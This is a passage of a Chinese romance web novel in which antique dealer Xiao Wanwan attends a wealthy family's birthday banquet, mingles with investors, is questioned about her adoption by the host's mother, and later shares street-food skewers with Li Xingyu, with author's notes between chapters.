“妧妧姐,你怎么一点不担心啊？我好怕自己选的礼物不合适,也好怕自己应付不来里面的状况,给学长丢人。” 云昭昭紧攥手里的小盒子，指尖因过度用力而泛白。 萧妧妧无所谓地说：“我担心什么,我送什么礼物他不会在意的，最后说不定丢在哪个杂物间。不像你,确实要担心一下，毕竟身份不一样。” 说到后半句,萧妧妧甚至有点幸灾乐祸，见她郁闷地鼓起脸颊,才安慰道：“别怕,你就是给一巴掌他都会说喜欢。” 云昭昭更郁闷了。 签名,出示邀请函,天色擦黑的时候顺利穿过前院花园,进入88号宴会厅。 空旷别墅里衣香鬓影，水晶吊灯将宴会厅照得如同白昼，优雅乐曲轻柔流淌，鼻间绕着鲜花的芬芳和酒水的醇香。 萧妧妧鬼祟偷瞄四周,已经有许多宾客到场，扫一眼他们佩戴的腕表胸针和项链,又看看自己的帝王绿,长舒一口气。 还行,既不会高调也没有太过低调。 黎行墨是宴会的主角，这会忙着和各位宾客问好，有黎行聿这个大家长在，他难得表现出绅士文雅的一面。 或许是萧妧妧的打量太直接，黎行墨最先察觉到，侧目看来，视线一下子定在旁边的云昭昭身上。 黎行聿忙着和客人寒暄，落后几秒注意到这里，看过来时，萧妧妧抬手打招呼，又想起这样好像不够优雅，于是挺直脊背颔首对视。 兄弟俩步调一致，径直朝两人走来。 萧妧妧没什么感觉，甚至有闲心观察他们的穿着打扮。 云昭昭不行，怂得快要躲在萧妧妧身后。 黎行墨笑着叫了她一声妧妧姐，目光几乎黏在云昭昭身上，萧妧妧递出礼物打断，说一声生日快乐。 他客气地收下，半侧过身，眨巴眼睛等云昭昭。 云昭昭怯怯地伸出手：“这是我挑的礼物，你要是不喜欢的话，随便你处置。” 黎行墨笑出一口大白牙：“喜欢，我肯定喜欢。这条项链果然适合你。” 云昭昭下意识摸上项链，偷看黎行聿的脸色。 黎行墨送来项链的时候说是不贵，她也没当回事，直到今天戴上它，听妧妧姐说这是粉钻，价值千万，云昭昭浑身长了刺一样难受。 一想到要戴着这条项链去黎家别墅，云昭昭总有种偷了东西的心虚感，不知道黎先生看到会不会要她把东西还回去。 萧妧妧说完生日快乐，没再打扰小情侣黏黏腻腻的氛围，让开一大步，和黎行聿搭话。 “你今天这套西装真好看。”她敷衍夸赞。 黎行聿笑，目光落在她身上的帝王绿：“萧老板看起来倒是十分有气势。” 萧妧妧听到想听的话，满面笑容：“我们没来晚吧，宴会是不是要开始了？” 黎行聿：“不晚，还有一会，先去休息室坐坐？” 萧妧妧踩着高跟鞋，自然想坐着，一口应下。 黎行聿见状要领她过去，萧妧妧连忙阻止，宾客不断进来，主人显然不适合离开太久。 萧妧妧拉着云昭昭一起去了休息室，门一推开，原本热闹的房间瞬间安静下来。 迎着若有似无的打量，萧妧妧挑了个清净位置坐下，给云昭昭递了一杯茶，自己也捧起茶杯润嗓子。 两人并没有攀谈的打算，原先聚在一起的年轻男女又嬉笑打闹起来。 休息室和宴会厅完全是两种风格，宴会厅是成年人的社交战场，觥筹交错里伴随资源交换，人人戴着面具。 休息室则相反，年轻人嘻嘻哈哈，一派松散姿态。 萧妧妧听了一耳朵，大多是黎行墨的富二代朋友，各自聚成一圈。 萧妧妧和云昭昭与他们之中的任何人都不熟悉，也没什么共同话题，自己抱着手机玩起来。 越是无聊的场合，手机越是有着别样的魅力，尤其刷着刷着，萧妧妧看到造谣她的博主玉哥翻车了，更是舍不得从手机屏幕上挪开眼。 玉哥翻车说来很意外，因着造谣事件连带着他自己的事业被人扒出来，网友们发现，玉哥自己经营玉石生意，造谣不破斋多半出于眼红或者受人指使。 玉哥删了造谣视频，相关评论也一并删除，按理说再沉静一段时间，网友差不多要抛之脑后。 巧合的是，有网友去了玉哥经营的线下店铺，意外发现店里售价10万的翡翠手镯，在玉哥的直播间里仅卖500块。 同一只手镯，价差达百倍，玉石行业一向被人诟病的真假优劣问题再次端了出来。 这下好了，事情打不住了，原本嘴硬为玉哥说话的网友也倒戈。 口口声声说别人卖假货，实际自家店铺才是以次充好，怎么不算一种报应呢。 糟了报应的玉哥差点扛不住，因为整间事情极具戏剧性，营销号搬运发散，事态已经逐渐扩大。 莫名其妙的，萧妧妧成了营销号嘴里的“雌中雌”，她的强硬反击得到网友一致赞美，玉哥成了反派角色。 更令她想不到的是，一张拼接对比的图片获得了极高的点赞。 左边是平安扣的博主估价与售价，两者相差5000，右边是玉哥直播间500块，柜台10万块的和田玉镯。 对比太惨烈，即便图片不够清晰，依然获得了许多网友的注意。 萧妧妧乐滋滋围观玉哥翻车，谁能想到啊，这才几天时间，风向全变了。 她回到自己的视频账号，果然，许多热心网友发来吃瓜链接，大家都爱看这样的现世报。 在一片吃瓜评论中，越来越多懂翡翠玉石的网友加入，为其他不懂行的网友们科普翡翠，并对萧妧妧晒出的实物照与价格进行评判。 萧妧妧暗道一声幸好，幸好晒出去的中高档货为了冲击遇翡的生意，没有开太离谱的价格。 以系统估价做为底线，店里绝大多数翡翠的定价，含税利润大约在30%-40%之间，超出部分是预留给顾客砍价的空间，甚至有许多是低于30%。 比如卖给高鹭的帝王绿手串、卖给孟有树的鬼工球等。 有同行衬托，再加上高货一向伴随高溢价的情况，萧妧妧赚到的这点利润，完全可以厚脸皮的说物美价廉。 当然，如果按实际成本来算，萧妧妧纯赚，投入的不过是些寻常杂货。 于是赚多赚少，取决于她对变现的需求，以及良心。 昧良心的钱，萧妧妧在刚开业那阵子急需变现时赚过，比如卖给有元人收藏家的砗磲围棋。 或许类似的科普评判评论太多，仅仅因着翡翠的售价，大家又莫名其妙认定不破斋是个货真价实，做良心生意的良心商家。 萧妧妧默了默，你们网友也太容易跑偏了吧，舆论果然不可控。 中低端货为了迅速出手，在翡翠圈打出名气，确实卖得不算贵，但她的顶级好货可不便宜，溢价高得说一句黑心商人不为过。 不管怎么说，萧妧妧已经戴上了良心商家的高帽，无论是对店铺生意还是对她知名藏家的人设，总而言之，有利无害。 这也导致事情有了新变化，平日里想买翡翠玉石又怕被坑的网友嗷嗷叫，求她上新一些大家买得起的中低档货。 他们口中的中低档，指的是10万以下，千元以上。 萧妧妧看到越来越多类似的留言，着实心动。 心里默默算一笔账，中低档货卖出去百件千件，可能还抵不上一件高档手镯卖出去的利润。 赚的少，工作量还增加了，不划算。 而且他们想要的低档货，她确实没有靠谱渠道。 萧妧妧才起了个念头，不出几分钟便打消了。 措辞一番，一一回应网友，萧妧妧准备把自己专卖高端翡翠的良心商人设钉得死死的。 正忙着，休息室的门打开，两人从周围热络的反应中得知是黎行墨进来了。 黎行墨径直走来，牵起云昭昭的手走向他的朋友们。 “正好大家都在，给你们介绍一下，我女朋友，云昭昭。” 从陌生人变成朋友的女朋友，大家看过来的目光多了几分审视与玩味。 云昭昭从来没有这么局促过，硬着头皮微笑打招呼，应付黎行墨的朋友们。 “云小姐很面生，以前没见过，你和墨哥怎么认识的？” “难怪墨哥最近都不跟我们出去玩了，原来要陪女朋友。” “云小姐看起来很显小，现在还在上学吗？是不是快要开学了？” 黎行墨瞪了他们一眼，警告他们收敛点：“我这是正经谈的女朋友，跟你们那些不一样。” 萧妧妧挑眉，人以群分，朋友玩的花，黎行墨又能好到哪去，他这么说也不怕云昭昭多想。 果然，她偷瞄过去吃瓜，云昭昭面对大家的打趣，笑容勉强。 “原来大家都认识啊，怎么不介绍介绍我？”萧妧妧厚着脸皮蹭了过去，挽住云昭昭手臂，“我也算黎行墨的朋友，不过我们是在南市才认识的。” 熟悉的人陪在左右，云昭昭暗暗松了一口气，调整心态。 黎行墨迟钝意识到冷落了萧妧妧，开口介绍：“这位是萧妧妧，邻居兼朋友，妧妧姐自己经营一家古董铺，你们要卖什么古董，找她没错。” 萧妧妧喜欢黎行墨的介绍，眉开眼笑地递名片。 大家看她自来熟，以为和黎行墨关系有多好，看她一身穿戴还算过得去，猜测可能是南市哪个企业家的孩子，和他们一样，富二代。 接过名片一看，什么名堂都没有，古董铺也寂寂无名的样子，遂轻视几分。 “好啊，墨哥的朋友就是我们的朋友，妧妧姐，下回一定照顾你生意。” 客套寒暄此起彼伏，说得一个比一个好听。 “咚咚咚” 恰好这时敲门声响起，大家齐齐转头看向门口时，大门刚好打开。 “聿哥好。” “黎先生。” 看到是黎行聿，嘻嘻哈哈的众人像按下暂停键，瞬间安静。 他们迅速收敛笑容，戴上社交面具，一派拘谨姿态打招呼问好。 黎行聿颔首回应，目光在人群中扫视一圈后，最终落在了萧妧妧身上。 萧妧妧敏锐察觉他的视线，一脸疑问地指了指自己，见黎行聿点头示意，她松开了身旁的云昭昭，迈步朝他走去。 “有几个朋友正在聊项目，过去听听？” 萧妧妧眼中闪过一丝期待：“好啊……对了，你打算投吗？” 黎行聿随意耸肩：“听听看吧，有兴趣就投。” 萧妧妧想，听听也好，了解一下大家最近看好哪些行业，学习学习他们的投资角度和思路。 “太好了，休息室太无聊了。” 两人神情熟稔地交流两句，并肩离开，显得有些亲密，待两人的身影消失在门后，紧闭的房门将他们与外界隔绝开来，众人才如释重负地松了一口气，开始打听。 “谁啊？到底是你朋友还是聿哥的朋友？”有人按捺不住，率先发问。 黎行墨迟疑，吞吞吐吐地说：“……说不清楚。” 说什么，他大哥在追女孩子嘛？说出去没人信啊。 万一走露风声，传到萧妧妧耳里，大哥能弄死他。 “别说大哥了，你们什么情况？我在佳博无聊死了……” 152 第152章 ◎也太会给她抬咖了◎ “这位就是我提过的萧妧妧,翡翠古董圈新锐收藏家，最近我们一起跟了一个项目，也是黎明的合作伙伴。” 男人的嘴，骗人的鬼,黎行聿也太会给她抬咖了。 新锐收藏家、黎明商业合作伙伴……头衔听起来确实很唬人,四舍五入,说她是资本家都有人信。 萧妧妧强忍尴尬,在黎行聿的引荐下，和各位大佬们一一握手寒暄。 “李总久仰大名,您和黎明投的佳和传媒简直是业内传说，我一直都对您的投资眼光钦佩不已,今天终于见到真人了。” “过奖过奖，我们也没少听黎总提起萧老板,没想到会这么年轻，后生可畏啊。” 萧妧妧谦虚地笑了笑,接着转向另一位大佬：“杨先生,我听黎行聿说过您,您是他的大学学长,之前有过多次合作。他对您的评价可是相当高呢,说您是个特别敏锐的大投资人，久仰。” 杨先生微笑着与萧妧妧握手，客气地说道：“萧小姐才是年轻有为，以后有机会,我们可以多交流交流。” “好久不见，孟先生。”萧妧妧转向另一边,不需要黎行聿说什么,主动打招呼。 是的,孟有树也受邀参加了今天的生日宴，一身西装看起来精神极了。 “萧老板今天这行头真不错，比我家里那些货顶。下次再有好东西，可千万帮我留着。” 萧妧妧俏皮回应：“当然，您可是我们的VIP客户，好东西随您挑。” 大家摸不清萧妧妧什么来头，看在黎行聿的面子上，保持良好的礼仪。 这会儿见孟有树熟络地打招呼，听话音有过交集，又看她身上那几件绿得晃眼的翡翠，不得不再客气几分。 觥筹交错，香槟塔折射出碎金一般的光芒，萧妧妧差点在纸醉金迷的世界里沉醉。 她以为自己应付不来，结果发现就那么回事，先前黎行聿给她补课讲案例的时候，夹带的私货全用上了。 甭管她记不记得案例，反正一顿夸。 碍于黎行聿引荐，哪怕这个所谓的新锐收藏家没什么名气，大家依旧客客气气。 相互问好，交换名片，随口交谈最近看好的投资，交流搞钱经验。 萧妧妧完全是菜鸟混迹大佬群，打完招呼混个脸熟后，老老实实当鹌鹑听着。 别说，甭管大生意小生意，哪里有钱的味道，大家就往哪里琢磨。 大到千万过亿，小到数十万百万，只要看准了，牟足了劲往里扎。 “黎总前段时间投的那个西风科技挺不错，我正好也在观察，现在环境不好，没几个让人眼前一亮的项目。” “下次有好项目，黎总记得拉我们一起。” 黎行聿淡声道：“说起来还是托萧老板的福，西风科技最先是她比较看好，论先后，我算是跟着她投。” 话落，围在一起的新老投资人纷纷看来。 萧妧妧笑容僵硬，捏紧酒杯。 你快住嘴啊大哥，吹得有点过了吧。 她微微笑：“黎总说笑呢，他这是在谦虚。” “萧老板投了多少？西风科技现在很抢手呢。” 萧妧妧：“一个多亿吧，我年纪轻，没什么经验，难免小家子气了些。” 轻描淡写说出一个亿已经足够震惊他们，紧跟着一句小家子气，直接噎得大家说不出话。 一个亿，在场投资人都不一定能一次性拿出这么多流动资金。 他们在萧妧妧这个年纪，不仅拿不出一个亿，还没那个胆子全投。 再看萧妧妧端酒杯的那只手，帝王绿晃得人眼睛都绿了，有一个亿资金确实挺有说服力。 “初生牛犊不怕虎，萧老板好胆魄啊。” “萧老板确定刚开始玩投资？您这一亿可真是……大胆啊。” “不经意”展示了自己雄厚实力后，又给自己立了个人傻钱多的形象，大家言辞间更加热络了。 孟有树感叹：“萧老板的古董生意果然不可小觑啊。” 黎行聿忍着笑意，举杯向她示意。 萧妧妧对上他玩味目光，回以微笑。 那咋了呢，新锐收藏家是假的，一个亿她是真真切切投出去的，说出来一点不虚。 当然，确实有点演的成分，出门在外给自己立几个人设很正常嘛。 “萧老板还有哪些看好的项目，正好说出来我们一起分析分析。” 萧妧妧推辞：“我的眼光比不上您几位，我这次来就是学习的，向行业顶尖人物取经。” 年轻姑娘嘴甜，关键是说出来特诚恳，一时间气氛融洽。 然而融洽氛围并没有持续太久，简短交流一番，一身职业装的男人找了过来，小声与黎行聿耳语。 这时，轻柔的背景音暂停，乐团更换曲目，变成一首略激昂的音乐。 仿佛是信号，乐曲响起，大家默契张望一眼，散落在各处的宾客渐渐往宴会厅转移。 “行，宴会快开始了，黎总你去忙，投资的事咱们下次仔细聊聊，正好有一段时间没见面了。”李总及时结束话题。 “黎总不如一起吧？之前几次你在京城，工作忙不方便，这段时间在南市可没道理再推了。”孟有树笑着邀请。 黎行聿微笑回应：“好啊，不介意的话我和萧老板一起去，最近有几个项目想听听大家的意见。” “行，那就这么说定了，老李，聚会一向是你在组，这次也靠你了，我可是厚着脸皮把大忙人黎总给你拉来了。” 李总笑呵呵应下：“收到，孟总。哪回不是我组啊，时间定了我通知你们。” 三言两语定好下次聚会，萧妧妧莫名其妙成了其中一员，脑子差点没转过弯。 黎行聿低声与她交待：“稍等，我去去就来。” 萧妧妧怀疑这个去去就来的含金量，刚才她可都看见了，旁边一堆男男女女端着酒杯心不在焉地瞄过来，伺机而动，只等黎行聿有空闲便立刻挤占她的位置。 黎行聿往宴会厅正中央走去，簇拥着的宾客纷纷避出一条路，他一边微笑颔首打招呼，一边大步穿过人群。 刚刚还在一起交谈的投资人瞬间被其他人围住，三三两两汇入宾客中，愉快社交。 萧妧妧环顾一圈，只有自己落单，百无聊赖地打量长桌上餐点，顺便听大家都聊点什么。 寒暄、吹捧、艺术、政治、珠宝、音乐会、八卦……有熟人之间热聊，更多是不熟悉的交换名片，通过社交拓圈，话题不外如此。 萧妧妧一张桌子绕了一圈，挑来一堆好看的点心，也听来一堆乱七八糟的话。 难怪大家热衷于社交，听名头个比个厉害，厉害的人物扎堆，可不就是拓宽人脉的好时机。 尤其黎家的生日宴有着不低的门槛，筛选过后的宾客没一个简单角色。 即便萧妧妧没有刻意去社交，也有不少人过来搭话，旁敲侧击地言语试探，再塞来名片，每个人都客客气气，礼貌又体贴。 萧妧妧散出去十来张名片，想想不算亏。 挑完点心，宴会差不多进入正式环节，司仪上台主持，黎行聿站在台下C位，旁边是等着走流程的黎行墨。 八厘米高跟虽然踩着累，但看热闹方便，都不用踮脚，宴会厅中央发生什么一清二楚。 她对司仪一长串感谢词没兴趣，瞄一眼大致情况，端着点心找了个清静位置坐下。 宴会主题是庆祝生日，实际情况并不止如此，还是为了告诉圈里伙伴，黎行墨正式上岗，要给家里打工了。 这不，黎行墨一下台，黎行聿带着他游走社交场，和各位前来敬酒的客人介绍彼此，互相眼熟一下。 萧妧妧实在无聊，要不是环境不合适，差点想掏手机打游戏。 好在她快呆不住的时候，云昭昭满脸仓惶找了来。 萧妧妧刚含进去一口奶油，含糊问：“怎么了？你知道吗昭昭，你现在看起来像热锅上的蚂蚁。” 云昭昭深呼吸，眉头紧皱：“也差不多了。” 萧妧妧挑眉，瞄一眼黎行墨方向，又侧身望着她，没什么同情心的吃瓜。 “说说看，什么情况啊？” 云昭昭双手紧握，揉捏，看起来紧张极了：“学长太胡来了，宴会快开始才告诉我，要我陪他一起切蛋糕。” 萧妧妧不明所以：“切蛋糕而已，怕什么。” 云昭昭情绪低沉：“他说，他会向所有人介绍，我是他女朋友。” 萧妧妧暗道一句果然如此，官宣嘛，很正常，难怪会邀请她一起来。 这是想在双方亲友的共同见证之下官宣，多有仪式感啊。 云昭昭苦笑，满脸愁绪：“什么仪式感，我快愁死了，我刚刚才知道，学长的爸妈也在，我……” 云昭昭急得快要跺脚了。 她就不该来参加什么生日宴，答应之后的每一天，云昭昭都在无措与不安中度过，现在更是悔得肠子都青了。 她实在应付不来这种场合。 萧妧妧恍然，总结道：“明白了，丑媳妇见公婆？你怕什么，谈个恋爱而已，见了就见了嘛。” 小情侣谈恋爱的阶段不小心见了父母，总觉得是天大的事，比如她那几个恋爱脑舍友，严阵以待，自动把自己摆在小媳妇的位置上。 萧妧妧不知道自己算不开窍还是太粗神经，一直不太能理解。 只要没到商量结婚的步骤，在此之前当普通朋友父母对待不就好了？ 云昭昭欲言又止，想说什么，但眼前环境并不适合她多说，只能自己犯愁。 萧妧妧帮不上忙，分她一块小蛋糕缓解她不安情绪。 “爸妈，我给你们介绍一下，这是我女朋友，9月开学是A大的新生，学的文物修复。” 不知不觉，被众人簇拥的黎行聿兄弟俩逐渐靠近这片清静区域。 一众赔笑的宾客中，黎行墨身边的一对夫妇气质尤为特别，面容上有几分相似。 意识眼前情况，云昭昭脑子哄一下炸开，脸颊通红，整个人噌一下站起，僵硬得不得了。 事不关己，萧妧妧端着她的小盘子退开一步，准备吃瓜热闹。 她刚站起，一阵香风扑鼻，被空调吹得冰凉的手背覆上温热。 “妈，你认错了，旁边的才是昭昭。”黎行墨低声提醒。 与此同时，温和声音紧跟着响起：“小姑娘叫什么？今年多大了，我看你好眼熟。” 萧妧妧：“……？” 【作者有话说】 感谢读者“沐酒”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +1 153 第153章 ◎这个剧情好眼熟◎ 女人近乎搭讪的问话说出口,周围瞬间一片安静，簇拥的宾客们齐齐将目光对准了萧妧妧。 迎上大家探究的目光，再看向面前灼灼盯着她的女人，萧妧妧代替云昭昭,成了那个坐立不安的人。 她默默放下小蛋糕,求救一般偷瞟黎行聿。 萧妧妧：你妈也点过赞？ 除此之外,萧妧妧实在想不出为什么能让一个陌生人眼熟,熟到冲上来抓着她的手不放。 可话又说回来，照片上的她素颜,和今天特意化了成熟显气质的妆容的她两模两样，这也能认出来？ 黎行聿同样神情困惑,微微摇头，否认了点赞的事。 黎行墨将信将疑地瞥向大哥,年纪大了是不一样，八字没一撇呢,着急忙慌地告诉家里人。 他这个正儿八经在恋爱的,反倒慢一步。 萧妧妧收敛思绪,客气回答：“阿姨,我叫萧妧妧,今年虚岁24。” 黎行聿上前一步来到萧妧妧身侧，低声补充：“萧老板是南市人，今年刚开始经营古董生意。” 妆容精致的中年女人一把拨开碍事的大儿子，牵着萧妧妧的手往自己身边带,语气温和。 “我姓叶，叫我叶阿姨就好,听说你是南市人,你在南市出生吗？哪一年生的？生日是哪天？” 萧妧妧嚯了一声,这个剧情好眼熟，和她前几天刚看过的真假千金文一模一样。 乐了没两秒，萧妧妧笑容僵住。 完蛋，她的身世确实有点说法，不会吧…… 叶赛宁见她神情有变，眼底骤然放光。 “你们和小墨继续，我和萧小姐说说话。” 叶赛宁不容拒绝的姿态挽住萧妧妧，给自己老公使了个眼色，带着人往附近的休息室走。 萧妧妧没想到，看起来五十岁不到的阿姨，劲儿不小，她根本挣脱不开。 黎行聿给了她一个安抚的眼神，拦住爸妈：“妈，你吓到她了，我跟她说几句，你们先进去。” 叶赛宁冷静些许，不再只盯着萧妧妧眼睛看，迟钝发觉她茫然不安的情绪。 “好，你们说几句赶紧把人送进来。” 叶赛宁微笑和旁边的宾客致歉，拉着拧眉审视萧妧妧的黎岸先离开。 “你看清了吧？是不是很像？” “我眼里只有你。” “……” 萧妧妧扯*了扯嘴角，还有心情开玩笑：“我看出来你爸妈哪个是恋爱脑了。” 黎行墨带着宾客远离这片区域，云昭昭频频回头，担忧地望向萧妧妧。 萧妧妧感觉还行，只是听叶赛宁几句没头没尾的话，脑子里忍不住胡思乱想起来。 不能吧，当个小黄文女配不够，还要再加一出真假千金的戏码？ 萧妧妧倒吸一口气，语调古怪：“我不会是你们家被抱错的真千金吧？大哥？” 猜测从她嘴里说出来，传到黎行聿耳中，呼吸霎时停滞，一句大哥惊得他心脏差点停跳。 黎行聿没好气地敲她脑门：“别瞎说，我们家这一代确实有一个女孩，比我小两岁的亲妹妹，已婚已育，年龄对不上。” 萧妧妧揉着脑门，眼珠子一转，狐疑目光缓缓落在黎行墨身上。 黎行聿揉了揉额头，十分确信的说：“不可能是小墨，你们之间差一岁，小墨和我舅舅从小就像，长大了更像，不可能抱错。” 顿了顿他又道：“……也不可能是我，我做过检测。” 萧妧妧忍不住回他：“当然不可能是你，我们年龄差两条代沟呢。” 黎行聿：…… 黎行聿沉默两秒，慢半拍意识到思绪被她带跑偏，说回正题。 “你的意思是，你、和你爸妈……？” 萧妧妧不认为有隐瞒的必要，她的好朋友们基本都知道这事。 她点头承认：“他们捡到我的时候我就是个小婴儿，你别说出去啊，我还瞒着我爸妈呢。” 黎行聿意外片刻，见她心不在焉，转而安慰道： “如你所见，我爸妈都是恋爱脑，平日满世界乱跑过二人世界，无论公司还是家里，大小事一概不理。 放宽心，只是随便聊聊，没什么大事。” 萧妧妧比了个OK的手势，嘴硬道：“我没被吓到，想东西走神而已。放心吧，你去忙，你看后面好多人在等你呢。” 挥挥手，萧妧妧转身走向休息室。 她刚抬手敲了敲门，厚重的双开门立时打开，叶赛宁和黎岸夫妻俩并肩站在门口，笑容温和。 萧妧妧尴尬地放下胳膊，“叔叔阿姨你们好。” 叶赛宁直接上手，拉着萧妧妧去沙发上坐，坐下了也不说话，盯着萧妧妧猛看。 “妧妧是混血吗？怎么眼珠子有点黄？” “阿姨，那是美瞳。” “阿姨冒昧的问一句，你整过容吗？” 萧妧妧摇头，臭不要脸地说：“天生丽质。” 叶赛宁笑得更开心了：“好孩子，记得自己是哪年出生吗？生日是哪天？你别怕，阿姨就是看见你想起一个老朋友，好奇问几句。” 萧妧妧纠结片刻，深呼吸，如实回答，“我现在的生日是我爸妈捡到我的那天，10月19日。” 叶赛宁猛然抬头看向黎岸，黎岸朝她眯了眯眼。 叶赛宁收敛情绪，不由感叹:“真是奇妙，世界上怎么会有这么像的人。 你穿这身衣服，我猛地一看，好像看到我一个朋友年轻的时候，连姓都一样，太巧了。 不知道的还以为她多了个女儿呢。” 萧妧妧心里烦乱，一时间没注意到叶赛宁微妙的神情变化，闻言后，暗暗松了一口气。 好歹没说什么像她流落在外的女儿、侄女什么的。 早在意外翻出收养证明的时候，又偷听到父母谈话，她就对亲生爹妈没了好印象。 花了一年时间接受自己是个没人要的孩子，萧妧妧打定主意和萧大明张芸好好生活。 小的时候会想亲生父母丢掉她的各种原因，也想过他们找来她该如何应对。 想得再多总归是想想，叶赛宁这一通问，吓得萧妧妧神经紧绷，有点期待，还有点抗拒，不知所措。 还好还好，只是像叶赛宁的一个朋友，乌龙一场，吓死人了。 休息室的门推开一条缝，才到她膝盖高的小豆丁举着棒棒糖，噔噔噔扑到叶赛宁怀里，甜甜软软的撒娇。 “奶奶，舅舅要切蛋糕啦。” 叶赛宁抱了抱小月亮，又张开双臂抱了抱萧妧妧，话题到此为止。 重回宴会厅，叶赛宁挽着老公黎岸，牵着外孙女黎月，面带微笑回到人群中央。 比香槟塔还高一大截的翻糖蛋糕当然没办法全切，黎行墨握住云昭昭的手，两人合力，象征性的切下一小块，走完流程，侍者忙着分蛋糕。 宴会后半场，萧妧妧又被黎行聿带着认识了不少南市本地的企业家，叶赛宁除了时不时往她身上瞄，没再找来说些有的没的。 云昭昭中途摆脱了黎行墨，过来关心几句，正好黎行聿也想知道他们在休息室说了什么，萧妧妧怕他们多想，和盘托出。 “……是不是挺巧的？听说连姓也一样呢。” 叶赛宁的反应肉眼可见的激动急躁，云昭昭惊奇，想知道到底有多像。 黎行聿把重点放在那句姓氏一样上，目光在萧妧妧的眉眼处停留，片刻后，垂下眼眸，若有所思。 萧妧妧已然不把这事放在心里，当成趣事讲述。 上学的时候好多人说她长得像哪个大明星，开玩笑说她进圈说不定会被打压。 美女嘛，是这样，一张脸长得人山人海的，何况娱乐圈撞脸的明星多了去，和别人相似很正常。 宴会尾声，宾客陆续离开，萧妧妧也该准备回去了。 云昭昭羞红着脸说：“学长希望我陪他过了零点。” 萧妧妧懂，小情侣黏糊糊很正常，耸耸肩，只好自己先走。 黎行聿拽住她：“我送你回去，这里打车不方便。” 萧妧妧瞥向宴会厅，侍者忙着收场，宾客寥寥无几。 “看起来现在没你什么事，要不要去吃宵夜？” 黎行聿轻笑：“饿了？” 萧妧妧摸了摸瘪瘪的肚子，惨兮兮的点头。 亏她准备了宽松裙子，打算大吃一顿，结果正相反，一块蛋糕都没吃完，没用的香槟喝了好几杯。 黎行墨的生日蛋糕是翻糖蛋糕，好看不好吃，萧妧妧这一晚上说是饿过来的不夸张。 宴会还没结束，她就想好要去哪里填饱肚子，可惜云昭昭要陪男朋友，肚子没福气，刚好黎行聿补位了。 黎行聿做为宴会的主角之一，从头应酬到尾，食物没吃几口，酒喝了不少，她都看在眼里，顺理成章发出夜宵邀请，料想他不会拒绝。 “我带你吃一家不太像南市口味的烤串，就在月牙湾到月牙巷中间的一条小路上，不过是那种流动小摊，平时很难遇见，点外卖也不方便。” 如她所料，黎行聿确实没有拒绝，一口应下：“好啊。” 他刚要安排司机，萧妧妧忙阻止：“别别别，月牙巷有节日活动，附近几条路管控，开车子过去不方便，容易堵在路上，走过去更快。放心，我知道路。” 黎行聿垂下眼眸，视线落在她裙摆边：“你穿着高跟鞋，坐车更舒服。” 萧妧妧无所谓道：“为了美食，一切困难都可以克服。” 土著萧妧妧信心满满走在前面，黎行聿放弃劝说，迈步追上去。 月牙湾附近绿化极好，夜风凉丝丝，吹来不知名花草的香气，两人并肩向前，不知不觉脚步渐渐放慢。 “这一带车子少，路面宽阔，小时候吃完饭，我爸妈经常带我来散步，回去的时候消化得差不多了，正好在巷子口附近的小摊上吃点夜宵。” “你看绿色牌子那家烤肉店，排队的那个，特别好吃，可惜都被游客占了，本地老街坊根本没机会进去。” “那家店老板住在月牙巷，我听说老板一家就是靠小吃生意在月牙巷买的房子呢。” 萧妧妧微醺的时候一向话多，也不管黎行聿想不想听，她一会指着这家招牌吐槽难吃，一会又说那家奶茶好喝，话题转换的飞快，没头没脑的。 黎行聿来不及配合她把话题继续下去，萧妧妧又说起别的，无奈笑笑，听她有一搭没一搭的乱讲。 这一路店铺林立，生活气息十足，走着走着，黎行聿享受起这一刻的安宁与幸福，不自觉松弛下来。 萧妧妧则相反，前面有多信心满满，现在就有多后悔，越走越后悔。 打脸了，八厘米高跟鞋果然不是轻易能驯服的。 眼看离月牙巷没多远，四舍五入，离家也没多远，萧妧妧打算忍忍，到家就舒服了。 萧妧妧忙着安慰自己可怜的脚丫子，连黎行聿消失了片刻都没察觉。 直到他身形一矮，在她脚边放了个什么东西。 “和你平时穿的鞋子差不多，要我帮忙吗？” 萧妧妧下意识摇头，然后看到了脚边多出来的一双崭新洞洞鞋。 抬头，看向前面不远处的便利店，店铺老板从柜子里拿出新的洞洞鞋，补充到展示架上。 等她回过神，黎行聿单膝蹲下，拉起她的手撑在自己肩头。 萧妧妧迟钝反应过来他是什么意思，憨笑一声说了谢谢，不客气地扶着他换上新鞋子。 尺码刚好，束缚一晚上的脚总算自由了。 萧妧妧舒坦地翘了翘脚，适应一下新鞋子，扭身要去摸高跟鞋，黎行聿提着鞋子在她面前晃了晃。 “在我这里，走吧？” 萧妧妧愣住，提起裙摆追了过去，趁他不注意，一把抢过他手上的高跟鞋藏在身后。 “谢谢，我自己提。” 黎行聿见她面颊薄红，没说什么。 萧妧妧落后一步，确定他不会突然回头，瞄了一眼自己的鞋子。 幸好是新鞋子，按理说不会有脚臭，不然可太社死了。 矮了八厘米，旗袍拼接设计的裙摆直接拖地，萧妧妧只好一手撩着裙摆，一手提着高跟鞋，狼狈跟在后面指路。 烧烤摊人气很旺，黎行聿排了二十分钟才带出一大包香喷喷烤串。 两人找到摊主提供的矮桌前，看了看不足膝盖高的塑料矮凳，沉默。 萧妧妧懊恼提议：“要不，我们带回去吃？” 黎行聿身上还是参加宴会的那一套衣裳，胸针腕表一个没摘，华丽矜贵的装扮和杂乱路边小摊形成了鲜明碰撞，格格不入。 萧妧妧低头看了看自己的衣服首饰，也很格格不入，难怪不断有人偷瞥他们。 “就在这里吧，不是说，烤串要趁热吃才好吗。”黎行聿神色如常。 两个格格不入的人最终还是坐在了塑料矮凳上，萧妧妧还好，黎行聿的大长腿稍显委屈拘束。 后悔了，早知道选个别的小吃店，路边摊确实不太合适。 萧妧妧正后悔着，一串牛油塞进手里，她笑了笑，刚准备说点什么，巷子口猛然传来口哨声。 “城管来了。” 这一声提醒像开关键，接收到信号的摊贩不管锅里炒着什么烤了什么，东西一丢，收了折叠桌往车上一塞，连车带人咻一下没了影，全程不超过三十秒。 等大家反应过来，热闹的街巷只剩下满地垃圾和无措的吃货。 眼睁睁看着老板收走桌子的黎行聿：…… 萧妧妧一手一根烤串，无处安放，仰头冲他讪笑。 【作者有话说】 越写越词穷，感觉自己是文盲，凑合看，先发后改~ 感谢读者“沐酒”,灌溉营养液 +1 感谢读者“珑柚”,灌溉营养液 +1 154 第154章 ◎呵，双标◎ “嗯……其实,这种情况很正常。” 萧妧妧吞下对烤串的赞美，悻悻地解释。 自己碰上了无所谓，请朋友的时候碰上这事稍显难堪。 更后悔了，早知道不嘴贱,非要请吃路边摊,这下好了,糟心。 